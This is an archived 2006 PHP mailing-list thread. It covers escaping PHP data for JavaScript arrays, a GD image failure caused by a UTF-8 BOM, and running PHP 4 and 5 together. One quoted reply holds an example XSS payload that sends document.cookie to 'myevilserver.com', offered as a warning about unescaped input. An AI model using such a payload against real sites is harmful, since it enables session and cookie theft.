their complex multi-line descriptions, I found this ditty worked for dynamically creating the JavaScript array of image/text/HTML data. 1) In PHP do: urlencode($str_with_HTML_and_special_chars) 2) In the JavaScript do: replace(unescape($str_with_HTML_and_special_chars),'+',' ') Has not choked on anything. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Cliff Hirsch Sent: Friday, July 07, 2006 1:47 PM To: 'NYPHP Talk' Subject: Re: [nycphp-talk] Passing JavaScript arrays Thanks to all for the great responses -- very helpful. I've summarized below: > For security, do I just escape the output like any other variable destined for the browser? It depends where its coming from and what you're using it for. For example, I have dynamic JS array's coming from the DB that may contain HTML, and will eventually populate drop-down menu's. For these, I pass through a 'js cleansing' routine to trim, remove HTML tags, convert to UTF-8 (or whatever), remove any line-breaks and escape all quotes. But I'd be extremely wary if your JS data is coming from GET or POST. I can see a variable like the following jacking a JS array: '); location='http://myevilserver.com/steal?your_cookies='+document.cookie; // If you're echoing a string from php into a javascript string var, you need to escape it. Here's an example. The escapeString function here is slightly modified from the one used in CakePHP's javascript helper: '\n', "\r" => '\n', "\n" => '\n', '"' => '\"', "'" => "\\'"); return str_replace(array_keys($escape), array_values($escape), $string); } $string = "It's good to \"escape\" strings"; ?> If you don't want the JS to be inline, you can create a separate PHP file that only outputs JavaScript code: Just make sure js.php has the following before you start outputting JavaScript: header('content-type:text/javascript'); (From what I understand, Apache will by default cache .js files but force a request for .php templates. This may affect the chi of your app.. man..) _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From scott at crisscott.com Mon Jul 10 08:20:04 2006 From: scott at crisscott.com (Scott Mattocks) Date: Mon, 10 Jul 2006 08:20:04 -0400 Subject: [nycphp-talk] Phundamentals? And RSS? In-Reply-To: <20060708122650.GB10406@leitz.reuel.net> References: <20060708122650.GB10406@leitz.reuel.net> Message-ID: <44B245F4.70902@crisscott.com> leam at reuel.net wrote: > Trying to find a simple PHP 4 RSS reader to put into some web pages. Any suggestions? PEAR::XML_RSS http://pear.php.net/manual/en/package.xml.xml-rss.php -- Scott Mattocks Author of: Pro PHP-GTK http://www.crisscott.com From mitch.pirtle at gmail.com Mon Jul 10 13:37:36 2006 From: mitch.pirtle at gmail.com (Mitch Pirtle) Date: Mon, 10 Jul 2006 13:37:36 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <20060709152404.M33857@pinestream.com> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> <44AFB72F.1080909@secdat.com> <330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com> <20060709152404.M33857@pinestream.com> Message-ID: <330532b60607101037o531b9e0aw49f067d1ad531912@mail.gmail.com> On 7/9/06, cliff wrote: > Interesting idea, albiet a bit over my head. I like the idea of limiting the > DB as single point of failure. On the other hand, a DB-intensive application > is practically useless in the event of a DB failure anyway. So you're not caching your output? ;-) -- Mitch From pyurt at yahoo.com Mon Jul 10 14:39:27 2006 From: pyurt at yahoo.com (P Yurt) Date: Mon, 10 Jul 2006 11:39:27 -0700 (PDT) Subject: [nycphp-talk] Local File versus DB-based configuration settingstrategy Message-ID: <20060710183927.21247.qmail@web52211.mail.yahoo.com> When you ask: So you're not caching your output? ;-) Are you referring to caching the entire site so that is displays without hitting the PHP engine or DB server? If so, what is the price paid for "caching" PYurt -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Mitch Pirtle Sent: Monday, July 10, 2006 10:38 AM To: NYPHP Talk Subject: Re: [nycphp-talk] Local File versus DB-based configuration settingstrategy On 7/9/06, cliff wrote: > Interesting idea, albiet a bit over my head. I like the idea of limiting the > DB as single point of failure. On the other hand, a DB-intensive application > is practically useless in the event of a DB failure anyway. So you're not caching your output? ;-) -- Mitch _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From ps at pswebcode.com Mon Jul 10 14:57:37 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Mon, 10 Jul 2006 14:57:37 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <003c01c6a41b$0eafeac0$0ba8a8c0@cliff> Message-ID: <000001c6a452$b6519030$68e4a144@Rubicon> No, I did not pass these as actual GET or POST data between web pages. This technique was a jury-rig technique to get strings of HTML and other odd characters safely into a client-side JavaScript array as follows: The data for the JavaScript slideshow array gets pulled from MySQL by PHP, then with PHP the urlencode($db_data) step ensures that no character element in the $db_data string (such as single-quote, double-quote, semi-colon or backslash) gets interpreted by the JavaScript as a command that might throw an error on the browser page. Then in the actual JavaScript I found that the combined JavaScript replace(unescape(),'+',' ') nicely undoes the PHP urlencoding and ensures that when JavaScript pushes a data array string into the browser innerHTML element the string has a very high-chance of being cross-browser compatible and the display to the user is pretty. If this was not your technology issue, then forgive me for sending up this suggestion. Peter -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Cliff Hirsch Sent: Monday, July 10, 2006 8:19 AM To: 'NYPHP Talk' Subject: Re: [nycphp-talk] Passing JavaScript arrays Interesting approach. How big was the array? It seems like this method might produce unreasonably long URLs if there is extensive data. -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Peter Sawczynec Sent: Saturday, July 08, 2006 8:25 AM To: 'NYPHP Talk' Subject: Re: [nycphp-talk] Passing JavaScript arrays Another possible basic technique for the PHP to JavaScript string data transfer. Once upon creating a JavaScripted slideshow that rewrote the innerHTML in div tags to change images and their complex multi-line descriptions, I found this ditty worked for dynamically creating the JavaScript array of image/text/HTML data. 1) In PHP do: urlencode($str_with_HTML_and_special_chars) 2) In the JavaScript do: replace(unescape($str_with_HTML_and_special_chars),'+',' ') Has not choked on anything. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Cliff Hirsch Sent: Friday, July 07, 2006 1:47 PM To: 'NYPHP Talk' Subject: Re: [nycphp-talk] Passing JavaScript arrays Thanks to all for the great responses -- very helpful. I've summarized below: > For security, do I just escape the output like any other variable destined for the browser? It depends where its coming from and what you're using it for. For example, I have dynamic JS array's coming from the DB that may contain HTML, and will eventually populate drop-down menu's. For these, I pass through a 'js cleansing' routine to trim, remove HTML tags, convert to UTF-8 (or whatever), remove any line-breaks and escape all quotes. But I'd be extremely wary if your JS data is coming from GET or POST. I can see a variable like the following jacking a JS array: '); location='http://myevilserver.com/steal?your_cookies='+document.cookie; // If you're echoing a string from php into a javascript string var, you need to escape it. Here's an example. The escapeString function here is slightly modified from the one used in CakePHP's javascript helper: '\n', "\r" => '\n', "\n" => '\n', '"' => '\"', "'" => "\\'"); return str_replace(array_keys($escape), array_values($escape), $string); } $string = "It's good to \"escape\" strings"; ?> If you don't want the JS to be inline, you can create a separate PHP file that only outputs JavaScript code: Just make sure js.php has the following before you start outputting JavaScript: header('content-type:text/javascript'); (From what I understand, Apache will by default cache .js files but force a request for .php templates. This may affect the chi of your app.. man..) _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From ajai at bitblit.net Mon Jul 10 15:53:25 2006 From: ajai at bitblit.net (Ajai Khattri) Date: Mon, 10 Jul 2006 15:53:25 -0400 Subject: [nycphp-talk] php and graph In-Reply-To: References: Message-ID: <44B2B035.90706@bitblit.net> Edward Kozek wrote: > This package is great. We use it at Right Media all the time, and very easy > to use and set up: > > http://www.maani.us/charts/index.php Yeah, and the graphs look simply beautiful... -- A From cliff at pinestream.com Tue Jul 11 11:56:43 2006 From: cliff at pinestream.com (cliff) Date: Tue, 11 Jul 2006 10:56:43 -0500 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <000001c6a452$b6519030$68e4a144@Rubicon> References: <003c01c6a41b$0eafeac0$0ba8a8c0@cliff> <000001c6a452$b6519030$68e4a144@Rubicon> Message-ID: <20060711155643.M3981@pinestream.com> Actually, this make perfect sense now. The code I inherited did nothing of the sort and your explanation leads me to believe I have just been lucky so far. On another note, I found a PEAR library that does basicly the same thing. I don't take advantage of PEAR often enough, but looking at the code (HTML_Javascript) makes me realize it usually accounts for things that I won't realize until the gene hits. Cliff On Mon, 10 Jul 2006 14:57:37 -0400, Peter Sawczynec wrote > No, I did not pass these as actual GET or POST data between web > pages. This technique was a jury-rig technique to get strings of > HTML and other odd characters safely into a client-side JavaScript > array as follows: > > The data for the JavaScript slideshow array gets pulled from MySQL > by PHP, then with PHP the urlencode($db_data) step ensures that no > character element in the $db_data string (such as single-quote, > double-quote, semi-colon or backslash) gets interpreted by the > JavaScript as a command that might throw an error on the browser page. > > Then in the actual JavaScript I found that the combined JavaScript > replace(unescape(),'+',' ') nicely undoes the PHP > urlencoding and ensures that when JavaScript pushes a data array > string into the browser innerHTML element the string has a very high- > chance of being cross-browser compatible and the display to the user > is pretty. > > If this was not your technology issue, then forgive me for sending > up this suggestion. > > Peter From kamm at andrewkamm.com Wed Jul 12 16:45:08 2006 From: kamm at andrewkamm.com (Andrew Kamm) Date: Wed, 12 Jul 2006 15:45:08 -0500 Subject: [nycphp-talk] PHP GD problems Message-ID: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> Hello all -- I'm having a problem with image creation with PHP and even though it appears my bases are covered, I can't get it resolved. I ran gd_info() and it appears to be alright for what I need (BTW, this is a Win server w/ PHP5.1.4, but I've also tried it on a Linux box and got the same results): Array ( [GD Version] => bundled (2.0.28 compatible) [FreeType Support] => 1 [FreeType Linkage] => with freetype [T1Lib Support] => 1 [GIF Read Support] => 1 [GIF Create Support] => 1 [JPG Support] => 1 [PNG Support] => 1 [WBMP Support] => 1 [XPM Support] => [XBM Support] => 1 [JIS-mapped Japanese Font Support] => ) I've tried several different code snippets and get the same result: In Firefox: "The image "http://example.com/scripts/test.php" cannot be displayed, because it contains errors." In Safari: Nothing -- but if you right-click anywhere on the screen it gives the same dialogue box you'd get if you right-clicked an image. As an example of the code I've been trying, I used the one below (from PHP.net). I've made sure there is no additional whitespace outside of the php tags. Any ideas? All the similar problem/solutions I've found on Google seem to relate to people having whitespace before the From jeff.knight at gmail.com Wed Jul 12 16:56:03 2006 From: jeff.knight at gmail.com (Jeff Knight) Date: Wed, 12 Jul 2006 15:56:03 -0500 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> Message-ID: <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> Try sending the headers at the last possible moment, i.e. just before imagepng() so that if you do generate an error, it will display on the page, and get rid of that @, you want to know if it is failing. On 7/12/06, Andrew Kamm wrote: > Hello all -- I'm having a problem with image creation with PHP and even > though it appears my bases are covered, I can't get it resolved. I ran > gd_info() and it appears to be alright for what I need (BTW, this is a Win > server w/ PHP5.1.4, but I've also tried it on a Linux box and got the same > results): > > Array > ( > [GD Version] => bundled (2.0.28 compatible) > [FreeType Support] => 1 > [FreeType Linkage] => with freetype > [T1Lib Support] => 1 > [GIF Read Support] => 1 > [GIF Create Support] => 1 > [JPG Support] => 1 > [PNG Support] => 1 > [WBMP Support] => 1 > [XPM Support] => > [XBM Support] => 1 > [JIS-mapped Japanese Font Support] => > ) > > I've tried several different code snippets and get the same result: > > In Firefox: > "The image "http://example.com/scripts/test.php" cannot be > displayed, because it contains errors." > > In Safari: > Nothing -- but if you right-click anywhere on the screen it gives the same > dialogue box you'd get if you right-clicked an image. > > As an example of the code I've been trying, I used the one below (from > PHP.net). I've made sure there is no additional whitespace outside of the > php tags. > > header("Content-type: image/png"); > $im = @imagecreate(100, 50) > or die("Cannot Initialize new GD image stream"); > $background_color = imagecolorallocate($im, 255, 255, 255); > $text_color = imagecolorallocate($im, 233, 14, 91); > imagestring($im, 1, 5, 5, "A Simple Text String", $text_color); > imagepng($im); > imagedestroy($im); > ?> > > Any ideas? All the similar problem/solutions I've found on Google seem to > relate to people having whitespace before the > thanks! > > -- > Andrew Kamm > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > From tedd at sperling.com Wed Jul 12 17:48:01 2006 From: tedd at sperling.com (tedd) Date: Wed, 12 Jul 2006 17:48:01 -0400 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> Message-ID: At 3:45 PM -0500 7/12/06, Andrew Kamm wrote: >Hello all -- I'm having a problem with image creation with PHP and even though it appears my bases are covered, I can't get it resolved. I ran gd_info() and it appears to be alright for what I need (BTW, this is a Win server w/ PHP5.1.4, but I've also tried it on a Linux box and got the same results): > >Array >( > [GD Version] => bundled (2.0.28 compatible) > [FreeType Support] => 1 > [FreeType Linkage] => with freetype > [T1Lib Support] => 1 > [GIF Read Support] => 1 > [GIF Create Support] => 1 > [JPG Support] => 1 > [PNG Support] => 1 > [WBMP Support] => 1 > [XPM Support] => > [XBM Support] => 1 > [JIS-mapped Japanese Font Support] => >) > >I've tried several different code snippets and get the same result: > >In Firefox: >"The image "http://example.com/scripts/test.php" cannot be displayed, because it contains errors." > >In Safari: >Nothing -- but if you right-click anywhere on the screen it gives the same dialogue box you'd get if you right-clicked an image. > >As an example of the code I've been trying, I used the one below (from PHP.net). I've made sure there is no additional whitespace outside of the php tags. > >header("Content-type: image/png"); >$im = @imagecreate(100, 50) > or die("Cannot Initialize new GD image stream"); >$background_color = imagecolorallocate($im, 255, 255, 255); >$text_color = imagecolorallocate($im, 233, 14, 91); >imagestring($im, 1, 5, 5, "A Simple Text String", $text_color); >imagepng($im); >imagedestroy($im); >?> > >Any ideas? All the similar problem/solutions I've found on Google seem to relate to people having whitespace before the >thanks! > >-- >Andrew Kamm Andrew: Your code runs "as-is" just fine -- see: http://xn--ovg.com/text/ The text is a tad small, but it works. tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From kamm at andrewkamm.com Thu Jul 13 10:23:35 2006 From: kamm at andrewkamm.com (Andrew Kamm) Date: Thu, 13 Jul 2006 09:23:35 -0500 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> Message-ID: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> On 7/12/06, Jeff Knight wrote: > > Try sending the headers at the last possible moment, i.e. just before > imagepng() so that if you do generate an error, it will display on the > page, and get rid of that @, you want to know if it is failing. > > > Still having problems -- I tried moving the header(), but it gave me the 'headers already sent' error. However, having gone back to the original code and removing the '@', my Linux server did provide a header error and a bunch of goofy characters (the Windows box still gives "The image "..." cannot be displayed because it has errors"). Oddly, the header call is the absolute first thing on the script (and again -- no there's no white space prior to the Here's what the Linux box is spitting out: *Warning*: Cannot modify header information - headers already sent by (output started at /home/.../public_html/test.php:1) in * /home/.../public_html/test.php* on line *2* ?PNG  -------------- next part -------------- An HTML attachment was scrubbed... URL: From kenrbnsn at rbnsn.com Thu Jul 13 10:39:35 2006 From: kenrbnsn at rbnsn.com (Ken Robinson) Date: Thu, 13 Jul 2006 10:39:35 -0400 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com > References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> Message-ID: <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> At 10:23 AM 7/13/2006, Andrew Kamm wrote: >Still having problems -- I tried moving the >header(), but it gave me the 'headers already sent' error. > >However, having gone back to the original code >and removing the '@', my Linux server did >provide a header error and a bunch of goofy >characters (the Windows box still gives "The >image "..." cannot be displayed because it has >errors"). Oddly, the header call is the absolute >first thing on the script (and again -- no >there's no white space prior to the >Here's what I'm using right now: > >header("Content-type: image/png"); >$im = imagecreate(100, 50) or die("Cannot Initialize new GD image stream"); >$background_color = imagecolorallocate($im, 255, 255, 255); >$text_color = imagecolorallocate($im, 233, 14, 91); >imagestring($im, 1, 5, 5, "A Simple Text String", $text_color); >imagepng($im); >imagedestroy($im); >?> > >Here's what the Linux box is spitting out: > >Warning: Cannot modify header information - >headers already sent by (output started at >/home/.../public_html/test.php:1) in /home/.../public_html/test.php on line 2 >???PNG What is at line 11 of /home/.../public_html/test.php? How are you invoking this script? The "funny" characters are the PNG image being displayed as ASCII. Ken From kamm at andrewkamm.com Thu Jul 13 10:51:45 2006 From: kamm at andrewkamm.com (Andrew Kamm) Date: Thu, 13 Jul 2006 09:51:45 -0500 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> Message-ID: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com> > What is at line 11 of > /home/.../public_html/test.php? How are you > invoking this script? The "funny" characters are > the PNG image being displayed as ASCII. > > Ken There's nothing at line 11 -- it's only 9 lines long and there's no white space or new lines after the closing ?>. Right now I'm calling it just by typing the URL to the script into a browser. In the end, I'd like to call it via an tag. thanks- -- Andrew Kamm -------------- next part -------------- An HTML attachment was scrubbed... URL: From ps at pswebcode.com Thu Jul 13 10:57:18 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Thu, 13 Jul 2006 10:57:18 -0400 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> Message-ID: <001101c6a68c$a2ec1150$68e4a144@Rubicon> Couple of things maybe: 1) I believe, that on a few occasions I have found strange hidden invisible character(s) embedded in a file by an editor like Dreamweaver say that has caused code to break. Retype this file fresh in a new plain text file. Then change file extension as needed. Delete your old file totally from the server and then upload new. Do not overwrite. 2) If you are including this patch of PHP code by calling it from another parent PHP file, then be sure there is no white space laying around in any other file used in this task. 3) Is there an autoprepend file directive somewhere. 4) Lastly, isn't there some documented issues that depending on your Server environment and the Browser/OS on the client-side that there can be issues where particularly IE will try to ignore mangle your headers and actually perpetuates its own, something like that. maybe try adding other headers before such as theses shown below (only samples, you need the find and fill in the exact ones that work for you): header("Expires: Mon, 23 Jul 1993 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header ("Content-disposition: inline; filename=".basename($file).";"); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($file)); header('Content-type: image/jpeg'); Things like the above can untwist this. Peter -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Andrew Kamm Sent: Thursday, July 13, 2006 10:24 AM To: NYPHP Talk Subject: Re: [nycphp-talk] PHP GD problems On 7/12/06, Jeff Knight wrote: Try sending the headers at the last possible moment, i.e. just before imagepng() so that if you do generate an error, it will display on the page, and get rid of that @, you want to know if it is failing. Still having problems -- I tried moving the header(), but it gave me the 'headers already sent' error. However, having gone back to the original code and removing the '@', my Linux server did provide a header error and a bunch of goofy characters (the Windows box still gives "The image "..." cannot be displayed because it has errors"). Oddly, the header call is the absolute first thing on the script (and again -- no there's no white space prior to the Here's what the Linux box is spitting out: Warning: Cannot modify header information - headers already sent by (output started at /home/.../public_html/test.php:1) in /home/.../public_html/test.php on line 2 ?PNG  -------------- next part -------------- An HTML attachment was scrubbed... URL: From kenrbnsn at rbnsn.com Thu Jul 13 10:59:48 2006 From: kenrbnsn at rbnsn.com (Ken Robinson) Date: Thu, 13 Jul 2006 10:59:48 -0400 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.co m> References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com> Message-ID: <7.0.1.0.2.20060713105650.0ada70c8@rbnsn.com> At 10:51 AM 7/13/2006, Andrew Kamm wrote: >There's nothing at line 11 -- it's only 9 lines long and there's no >white space or new lines after the closing ?>. Right now I'm calling >it just by typing the URL to the script into a browser. In the end, >I'd like to call it via an tag. I copied your script to my local machine and it worked fine. Your server is telling you that it thinks there are more than 9 lines in your file. Make sure there are no spaces before the script also. Ken From ps at pswebcode.com Thu Jul 13 11:02:05 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Thu, 13 Jul 2006 11:02:05 -0400 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com> Message-ID: <001b01c6a68d$4e713780$68e4a144@Rubicon> Then, one last thing. Isn't it also true the IE in particular still has issues with PNG display in general again based on client side browser version and OS combined. Peter -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Andrew Kamm Sent: Thursday, July 13, 2006 10:52 AM To: NYPHP Talk Subject: Re: [nycphp-talk] PHP GD problems What is at line 11 of /home/.../public_html/test.php? How are you invoking this script? The "funny" characters are the PNG image being displayed as ASCII. Ken There's nothing at line 11 -- it's only 9 lines long and there's no white space or new lines after the closing ?>. Right now I'm calling it just by typing the URL to the script into a browser. In the end, I'd like to call it via an tag. thanks- -- Andrew Kamm -------------- next part -------------- An HTML attachment was scrubbed... URL: From jeff.knight at gmail.com Thu Jul 13 11:07:27 2006 From: jeff.knight at gmail.com (Jeff Knight) Date: Thu, 13 Jul 2006 10:07:27 -0500 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com> References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com> Message-ID: <2ca9ba910607130807s14784ff4h278b9577259eb383@mail.gmail.com> The "headers are already sent" because at some point, something in the script is sending output. Try running the script after commenting out the header() and imagepng() lines and see if that provides a more useful error. I'm really not sure where this notion of "line 11" came from, something in line 1 is sending output, which supports Sawczynec's bad character theory. On 7/13/06, Andrew Kamm wrote: > > > > What is at line 11 of > > /home/.../public_html/test.php? How are you > > invoking this script? The "funny" characters are > > the PNG image being displayed as ASCII. > > > > Ken > > > There's nothing at line 11 -- it's only 9 lines long and there's no white > space or new lines after the closing ?>. Right now I'm calling it just by > typing the URL to the script into a browser. In the end, I'd like to call it > via an tag. > > thanks- > > -- > Andrew Kamm > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > From dcech at phpwerx.net Thu Jul 13 11:08:36 2006 From: dcech at phpwerx.net (Dan Cech) Date: Thu, 13 Jul 2006 11:08:36 -0400 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> Message-ID: <44B661F4.3080304@phpwerx.net> Ken Robinson wrote: > At 10:23 AM 7/13/2006, Andrew Kamm wrote: >> Here's what I'm using right now: >> >> > header("Content-type: image/png"); >> $im = imagecreate(100, 50) or die("Cannot Initialize new GD image stream"); >> $background_color = imagecolorallocate($im, 255, 255, 255); >> $text_color = imagecolorallocate($im, 233, 14, 91); >> imagestring($im, 1, 5, 5, "A Simple Text String", $text_color); >> imagepng($im); >> imagedestroy($im); >> ?> >> >> Here's what the Linux box is spitting out: >> >> Warning: Cannot modify header information - >> headers already sent by (output started at >> /home/.../public_html/test.php:1) in /home/.../public_html/test.php on line 2 >> ???PNG This little snippet is a dead giveaway that the file in question is encoded with UTF-8 including the Unicode BOM. Therefore, PHP sees line 1 as: ??? References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com> <44B661F4.3080304@phpwerx.net> Message-ID: <2f9393800607130820t55628234s1599c913bb80a1fe@mail.gmail.com> On 7/13/06, Dan Cech wrote: > > > This little snippet is a dead giveaway that the file in question is > encoded with UTF-8 including the Unicode BOM. Bingo --- that was it. I switched it to Mac OS Roman and all is well. Thanks so much everyone for the help. -- Andrew Kamm -------------- next part -------------- An HTML attachment was scrubbed... URL: From urb at e-government.com Thu Jul 13 14:34:09 2006 From: urb at e-government.com (Urb LeJeune) Date: Thu, 13 Jul 2006 14:34:09 -0400 Subject: [nycphp-talk] PHP GD problems In-Reply-To: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com > References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com> <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com> <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com> Message-ID: <7.0.1.0.0.20060713143316.03b35c20@e-government.com> >Warning: Cannot modify header information - headers already sent by >(output started at /home/.../public_html/test.php:1) in >/home/.../public_html/test.php on line 2 I've had this message in the past when From ps at pswebcode.com Fri Jul 14 09:55:45 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Fri, 14 Jul 2006 09:55:45 -0400 Subject: [nycphp-talk] PHP 4 and PHP 5 on One Apache 1.3.x Unix Installation Message-ID: <00a001c6a74d$34b4eab0$68e4a144@Rubicon> Assuming that I have successfully installed safe and separate PHP 4 and PHP 5 on a Unix box running Apache 1.3.x. And that I have included and compiled in all the extensions/libs that I need under both (and that I am fully aware of the MySQL, XML and OOP support issues). In order to switch from PHP 4 to PHP 5, can I simply go into the Apache httpd.conf file and change the directive: "LoadModule php4_module libexec/libphp4.so" to "LoadModule php5_module libexec/libphp5.so" Then do a graceful reboot on Apache. So again I'm not concerned with individual scripting compatability issuews, but do you see this strategy as technically sound to allow me to flip back and forth between PHP 4 and PHP 5, if I so needed? Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From andrew at plexpod.com Fri Jul 14 10:22:21 2006 From: andrew at plexpod.com (Andrew Yochum) Date: Fri, 14 Jul 2006 10:22:21 -0400 Subject: [nycphp-talk] PHP 4 and PHP 5 on One Apache 1.3.x Unix Installation In-Reply-To: <00a001c6a74d$34b4eab0$68e4a144@Rubicon> References: <00a001c6a74d$34b4eab0$68e4a144@Rubicon> Message-ID: <20060714142221.GN21520@desario.homelinux.net> Hi Peter, On Fri, Jul 14, 2006 at 09:55:45AM -0400, Peter Sawczynec wrote: > Assuming that I have successfully installed safe and separate PHP 4 and > PHP 5 on a Unix box > running Apache 1.3.x. And that I have included and compiled in all the > extensions/libs that I need > under both (and that I am fully aware of the MySQL, XML and OOP support > issues). > > In order to switch from PHP 4 to PHP 5, can I simply go into the Apache > httpd.conf file > and change the directive: > "LoadModule php4_module libexec/libphp4.so" > to > "LoadModule php5_module libexec/libphp5.so" > > Then do a 